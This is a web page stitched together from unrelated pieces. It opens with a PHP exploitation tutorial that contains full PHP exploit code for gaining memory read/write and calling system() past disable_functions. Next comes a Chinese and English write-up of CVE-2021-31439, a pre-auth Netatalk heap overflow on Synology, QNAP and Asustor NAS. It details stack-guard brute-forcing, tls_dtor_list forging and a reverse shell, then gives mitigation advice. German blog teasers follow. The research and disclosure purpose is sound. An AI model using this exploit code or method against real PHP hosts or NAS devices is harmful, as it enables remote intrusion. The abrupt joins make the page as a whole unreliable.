Once we have identified the vulnerability and how to trigger it we need to find a way to get arbitrary read and write primitives. To build our exploit we are going to follow a similar schema as the exploit that Mm0r1 created for the BackTrace bug (the exploit is explained in depth in the article linked at the beggining of this post, so go and read it!).
If you remember this fragment from the quoted thread:
The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator)
We can take advantage of this to get the ability to release memory at our will. As we saw with the 0x123 crash example, we can forge a fake value that is going to be passed to the PHP internal functions in charge to release memory. Let’s build a De Bruijn pattern using ragg2 and use it:
As we can see part of our pattern arrived to the zend_gc_delref function and crashed. This function tries to decrease the reference counter, and it is called from i_zval_ptr_dtor:
This function is used to destroy the variable passed as argument (a pointer to the desired zval, we can see the pointer is the same used as result in the concatenation). In our case a pointer to part of the faked contents at $buf. So if we change that part for “X” we should verify that we can control what is going to be released:
We can use the leaked pointer to know the location of another variable that we allocate as placeholder and then free that variable.
<?phpclassexploit{publicfunction__construct($cmd){$concat_result_addr=$this->leak_heap();print"[+] Concated string address:\n0x";printdechex($concat_result_addr);$this->placeholder=$this->alloc(0x4F,"B");$placeholder_addr=$concat_result_addr+0xe0;print"\n[+] Placeholder string address:";print"\n0x".dechex($placeholder_addr);print"\n[+] Before free:\n";debug_zval_dump($this->placeholder);$this->free($placeholder_addr);print"\n[+] After free:\n";debug_zval_dump($this->placeholder);}privatefunctionleak_heap(){$contiguous=[];for($i=0;$i<10;$i++){$contiguous[]=$this->alloc(0x100,"D");}$arr=[[1,3,3,7],[5,5,5,5]];set_error_handler(function()use(&$arr,&$buf){$arr=1337;$buf=str_repeat("\x00",0x100);});$arr[1].=$this->alloc(0x4A,"F");// 0x4F - 5 from the length of "Array" string concatenatedreturn$this->str2ptr($buf,16);}privatefunctionfree($var_addr){$contiguous=[];for($i=0;$i<10;$i++){$contiguous[]=$this->alloc(0x100,"D");}$arr=[[1,3,3,7],[5,5,5,5]];set_error_handler(function()use(&$arr,&$buf,&$var_addr){$arr=1;$buf=str_repeat("AAABAACAADAAEAAF".$this->ptr2str($var_addr)."IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY",0x1);});$arr[1].=1337;}privatefunctionalloc($size,$canary){returnstr_shuffle(str_repeat($canary,$size));}privatefunctionstr2ptr($str,$p=0,$n=8){$address=0;for($j=$n-1;$j>=0;$j--){$address<<=8;$address|=ord($str[$p+$j]);}return$address;}privatefunctionptr2str($ptr,$m=8){$out="";for($i=0;$i<$m;$i++){$out.=chr($ptr&0xff);$ptr>>=8;}return$out;}}newexploit("haha");?>
As we said before, we are going to build step by step an exploit similar to the one explained in the article A deep dive into disable_functions bypasses and PHP exploitation, reusing as much as we can. So we are going to take advantage of our ability to free memory to create a hole that is going to be occupied by an object that we are going to use for reading/writing arbitrary memory. As we know where the hole is (the address of the placeholder, that is calculated applying an offset to the leaked address), we can access to the properties’ memory contents directly ($placeholder[offset]) and use them to leak memory at any desired address. We can perform an easy test:
As we can overwrite bytes inside the $helper object, we can take advantage of it to overwrite the pointer to the original a string (our “KKKK”) with a pointer to any desired address. After overwriting the pointer, we can read safely the bytes at the address + 0x10 (len field inside zend_string) calling strlen() with our $helper->a. Using this simple trick we can get an arbitrary read primitive:
The next step in our exploit is to search where the basic_functions structure is located in memory, and then walk it until we find the handler for zif_system or similar functions that allow us the execution of commands. Although this is really well explained in the quoted article, let’s just give it a short explanation here.
In PHP the “basic” functions are grouped into basic_functions for registration, this being an array of zend_function_entry structures. Therefore, in this basic_functions we will have, ultimately, an ordered relationship of function names along with the pointer to them (handlers). The zend_function_entry structure is defined as:
So the first member is a pointer to a string that contains the function name, and the next member is a handler to that function. In order to identify a member of the basic_functions structure we can follow the next approach:
Read 8 bytes from an address —> Interpret those bytes as a pointer –> Read 8 bytes at the pointed memory
Does the 8 bytes match our needle (bin2hex function name) ? If it doesn’t, increase the address by 8 and repeat 1
Once we have found where the zend_function_entry that holds the information for bin2hex() is located, we can repeat the process to locate the handler for zif_system:
Another aproach to locate the zif_system handler could be to just apply a pre-known offset to the zend_function_entry for bin2hex because the entries in the array are ordered.
Our exploit has all the ingredients ready, except from the last one: jumping into the target function. In order to call zif_system we are going to add a closure to our helper object and overwrite it. Closures are anonymous functions with the following structure:
If we look carefully we can see that one of the members is a zend_function structure:
union_zend_function{zend_uchartype;/* MUST be the first element of this struct! */zend_op_arrayop_array;zend_internal_functioninternal_function;};
And zend_internal_function is:
typedefstruct_zend_internal_function{/* Common elements */zend_uchartype;zend_uchararg_flags[3];/* bitset of arg_info.pass_by_reference */uint32_tfn_flags;zend_string*function_name;zend_class_entry*scope;zend_function*prototype;uint32_tnum_args;uint32_trequired_num_args;zend_internal_arg_info*arg_info;/* END of common elements */zif_handlerhandler;struct_zend_module_entry*module;void*reserved[ZEND_MAX_RESERVED_RESOURCES];}zend_internal_function;
We can see the handler member. So the plan is easy:
Copy the original zend_closure structure to other part
Patch the $helper object to point to this new location instead of the original
Patch the handler member to point to our zif_system
If you run the exploit in our environment, you will notice that it does not work. We built the exploit for a slighly different PHP version and all our tests were executed via PHP-CLI. The changes needed are:
Move the 0x100 used in the str_repeat() to a constant. We are still atonished about this poltergeist.
Change the “needle” used to identify the basic_functions array. From 0x6e69623278656800 to 0x73006e6962327865.
Change the offset in the get_system() in 0x20, so the -0x10 should be a +0x10
早期 NAS 一般用途為讓伺服器本身與資料分開也為了做異地備援而使用的設備,功能上主要單純讓使用者可以直接在網路上存取資料及分享檔案,現今的 NAS 更是提供多種服務,不止檔案分享更加方便,也與 IoT 的環境更加密切,例如 SMB/AFP 等服務,可輕易的讓不同系統的電腦分享檔案,普及率也遠比以前高很多。
現今的 NAS,也可裝上許多套件,更是有不少人拿來架設 Server,在這智慧家庭的年代中,更是會有不少人與 home assistant 結合,使得生活更加便利。
Motivation
為何我們要去研究 NAS 呢 ?
紅隊需求
過去在我們團隊在執行紅隊過程中,NAS 普遍會出現在企業的內網中,有時更會暴露在外網,有時更會存放不少企業的機密資料在 NAS 上,因此 NAS 漸漸被我們關注,戰略價值也比以往高很多。
勒索病毒
近年來因為 NAS 日益普及,常被拿來放個人的重要資料,使 NAS 成為了勒索病毒的目標,通常駭客組織都會利用漏洞入侵 NAS 後,將存放在 NAS 中的檔案都加密後勒索,而今年年初才又爆發一波 locker 系列的事件,我們希望可以減少類似的事情再次發生,因而提高 NAS 研究的優先程度,來增加 NAS 安全性。也為了我們實現讓世界更安全的理想。
Pwn2Own Mobile 2020
最後一點是 NAS 從 2020 開始,成為了 Pwn2Own Mobile 的主要目標之一,又剛好前年我們也想嘗試挑戰看看 Pwn2Own 的舞台,所以決定以 NAS 作為當時研究的首要目標,前年 Pwn2Own 的目標為 Synology 及 WD ,由於 Synology 為台灣企業常見設備,所以我們最後選擇了 Synology 開始研究。
最後一個要提的是 Netatalk 也就是 afp 協定,基本上沒什麼改,大部分沿用 open source 的 Netatalk,近期最嚴重的漏洞為 2018 的 Pre-auth RCE (CVE-2018-1160),關於這漏洞可參考 Exploiting an 18 Year Old Bug ,Netatalk 相對其他 Service 過去的漏洞少非常多,是比較少被注意到的一塊,並且已經長時間沒在更新維護。
Apple Filing Protocol (AFP) 是個類似 SMB 的檔案傳輸協定,提供 Mac 來傳輸及分享檔案,因 Apple 本身並沒有開源,為了讓 Unlx like 的系統也可以使用,於是誕生了 Netatalk,Netatalk 是個實作 Mac 的 AFP 協定的 OpenSource 專案,為了讓 Mac 可以更方便的用 NAS 來分享檔案,幾乎每一廠牌的 NAS 都會使用。
我們已成功在 NAS 中找到一個嚴重漏洞,並且成功寫出概念證明程式,證實可以利用在 Synology、QNAP 及 Asustor 等主流 NAS 上利用。我們也認為 Netatalk 是在 NAS 中新一代的後門!
未來希望有使用到第三方套件的 NAS 廠商,可以多重新審視一下第三方套件所帶來的安全性問題,強烈建議可以自行 Review 一次,並且注意其他廠商是否也有修復同樣套件上的漏洞,很有可能自己也會受到影響,也希望使用 NAS 的用戶,也能多多重視不要把 NAS 開在外網,能關的服務就盡可能關閉,以減少攻擊面,讓攻擊者有機可趁。
To be continue
事實上,我們並不只有找到一個漏洞,我們也發現還有不少問題,也運用在去年的 Pwn2Own Austin 上,這部分我們在大部分廠商修復後會在公開其他的研究,就敬請期待 Part II。
Two years ago, we found a critical vulnerability, CVE-2021-31439, on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.
This research is also presented at HITCON 2021. You can check the slides here.
Network Attached Storage
In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.
Motivation
Why do we want to research NAS?
Red Team
While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.
Ransomware
NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.
Pwn2Own Mobile 2020
The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.
Recon
Environment
DS918+
DSM 6.2.3-25426
Our test environment is Synology DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.
Attack surface
First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.
In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.
We selected a few services for preliminary analysis.
DSM Web interface
The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.
SMB
The SMB protocol in Synology is based on Samba. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is SambaCry. But because more people are reviewing, it is relatively safer than other services.
iSCSI Manager
It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.
Netatalk
The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on Netatak 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to Exploiting an 18 Year Old Bug. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.
After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didn’t spend much time on other service. We will only focus on Netatalk in this article.
Netatalk
Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.
Netatalk in Synology
The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.
DSI
Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.
DSI Packet Header :
The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.
AFP over DSI :
The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.
In Netatalk implementation, dsi_block will be used as the packet structure.
dsi_block :
dsi_flag means that the packet is a request or reply
dsi_command indicates what our request does
DSICloseSession
DSICommand
DSIGetStatus
DSIOpenSession
dsi_code
Error code
For reply
dsi_doff
DSI data offset
Using in DSIWrite
dsi_len
The Length of Payload
DSI : A descriptor of dsi stream
In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as server_quantum and payload content.
The payload of the packet is stored in the command buffer in the DSI structure. The buffer size is server_quantum, and the value is specified in the afp configuration file afp.conf.
If not specified, it uses the default size(0x100000).
With a preliminary understanding, let’s talk about this vulnerability.
Vulnerability
The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is dsi_stream_receive.
It’s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the dsi_len in the dsi header. At the beginning, the size of dsi_cmdlen is verified.
However, as shown in the picture above, if dsi_doff is provided by user, dsi_doff is used as the length. There is no verification here.
The default length of dsi->commands is 0x100000(dsi->server_quantum), which is a fixed length allocated in dsi_init, so as long as dsi->header.dsi_doff is larger than dsi->server_quantum, heap overflow occurs.
Exploitation
In DSM 6.2.3, dsi->commands buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after dsi_init is as below.
At the below of dsi->commands is Thread Local Storage, which is used to store thread local variables of the main thread.
Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?
Thread-local Storage
Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.
Target in TLS
In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.
main_arena
We can forge main_arena to achieve arbitrary writing, but it’s more complicated
pointer_guard
We can modify the pointer guard to change the function pointer, but it requires a leak.
tls_dtor_list
It’s more suitable for our current situation
Overwrite tls_dtor_list
We can use the technique used by project zero in 2014 to overwrite the tls_dtor_list in the Thread Local Storage, and then control the RIP in exit().
tls_dtor_list is a singly linked list of dtor_list objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite tls_dtor_list with dtor_list we forged.
When the process exits, it calls call_tls_dtors(). This function takes the object in tls_dtor_list and calls each destructor. At this time, if we can control tls_dtor_list, it calls the function we specified.
However, in the new version of glibc, the function of dtor_list is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we don’t have information leakage, it’s hard to know the value.
But in fact pointer guard would also be placed in Thread Local Storage.
In the Thread Local Storage, there is a tcbhead_t structure below the tls_dtor_list, which is the thread descriptor of main thread.
tcbhead_t structure is used to store various information about the thread such as the stack_guard and pointer_guard used by the thread. In x86-64 Linux system, the fs register always points to the tcbhead_t of the current thread, so the program access thread local storage by using fs register. The memory layout of Thread local storage is shown as below.
We can use the vulnerability to overwrite not only tls_dtor_list but also pointer guard in the tcbhead_t. In this way, we can overwrite it with NULL to solve the pointer guard problem mentioned earlier.
But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.
Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to dsi->command. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in Thread Local Storage. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.
Bypass stack guard
In the netatalk(afpd) architecture, each connection forks a new process to handle the user’s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.
Brute-force stack guard
We can use the overflow vulnerability to overwrite only the last byte of stack guard on Thread Local Storage with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.
In the above figure, we assume that the stack guard is 0xdeadbeeffacebc00. Due to the stack guard feature in Linux, the lowest byte must be 0. Let’s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.
After we leak the stack guard, we can actually control RIP successfully.
Next, we need to forge the structure _dtor_list to control RIP.
Construct the _dtor_list to control RIP
In DSM 6.2.3-25426, Because it does not enable PIE, we can forge _dtor_list on the data section of afpd.
Luckily, when netatalk use dhx2 login authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct _dtor_list on the known address.
After everything is constructed, we can trigger the normal function DSICloseSession to control the RIP.
tls_dtor_list in Synology
But in the glibc-2.20 in DSM 6.2.3-25426, it will invoke __tls_get_addr to get the variable tls_dtor_list. The function will take the variable from tcb->div. We also need to construct it on a known address.
The final structure we forged is as follows
Finally, we control RIP to invoke execl() in afpd to get the reverse shell.
Remark
In general Netatalk, PIE protection is enabled by default. It is difficult to construct _dtor_list in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.
This vulnerability not only affects Synology, but also affects some devices use Netatalk.
Other vendor
We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.
QNAP
We tested on TS451
QTS 4.5.4.1741
Not enable by default
Protection
No Stack Guard
No PIE
Built-in system function
Asustor
We tested on AS5202T
ADM 3.5.7.RJR1
Not enable by default
Protection
No Stack Guard
No PIE
Built-in system function
It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.
When Synology has not yet patched this vulnerability, it can be exploited as long as the default is installed. No authentication is required.
Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.
Your NAS is not your NAS !
In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.
Mitigation
Update
At present, the above three have been patched, please update to the latest version.
This vulnerability is also fixed in the recently released Netatalk 3.1.13. If you use a version before Netatalk 3.1.13, you also need to update to the latest version.
Disable AFP
It’s best to disable it directly. The project is rarely maintained, and the risk of continuing to use it is extremely high.
SMB is relatively safe
If you want to use similar feature, it is recommended to use SMB. It is relatively safe, but it can only be said to be relatively safe.
It is recommended that all related services should be opened in the intranet.
Summary
We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.
We also think that Netatalk is a new generation of backdoor in NAS!
In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.
The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.
To be continue
In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.
Am 21.07.2022 ist es wieder so weit. Unser Gründer und IT Security Spezialist Florian Hansemann wird als Speaker auf dem blu Systems Praxistalk 2022 in München rund um das Thema „Security einfach, schnell und kostenfrei.“ Sprechen. Der diesjährige blue Systems Praxistalk findet unter dem Überthema „Digital Governance – Nur ein weiteres Buzzword?“ statt. Buzzwords begleiten […]
Cybersicherheit ist ein Thema, das immer mehr an Aufmerksamkeit gewinnt, da täglich über 80.000 Cyberangriffe gemeldet werden. Allein in Deutschland berichten mindestens 92 % der Unternehmen , dass sie innerhalb eines Zeitraums von 12 Monaten von irgendeiner Art von Cyberangriff betroffen waren. Glücklicherweise erweitern die Cybersicherheitsunternehmen ständig ihr Angebot für Unternehmen und Konzerne, um deren […]
CVE -anhängig- Anfällige Software Remote Desktop Commander Suite Agent <= Version 4.8 Schwachstelle Schwachstelle im unquotierten Dienstpfad Zeitleiste 12.11.2021 Verkäufer informiert 10.12.2021 Der Verkäufer hat das Problem bestätigt und bittet um eine Freigabe am 9. Februar 2022 09.02.2022 Offenlegung Beschreibung WENN ein Kunde a.) unseren Agentendienst im Standardpfad C:\Programme\RDPSoft\Remote Desktop Reporter Agent installiert und b.) […]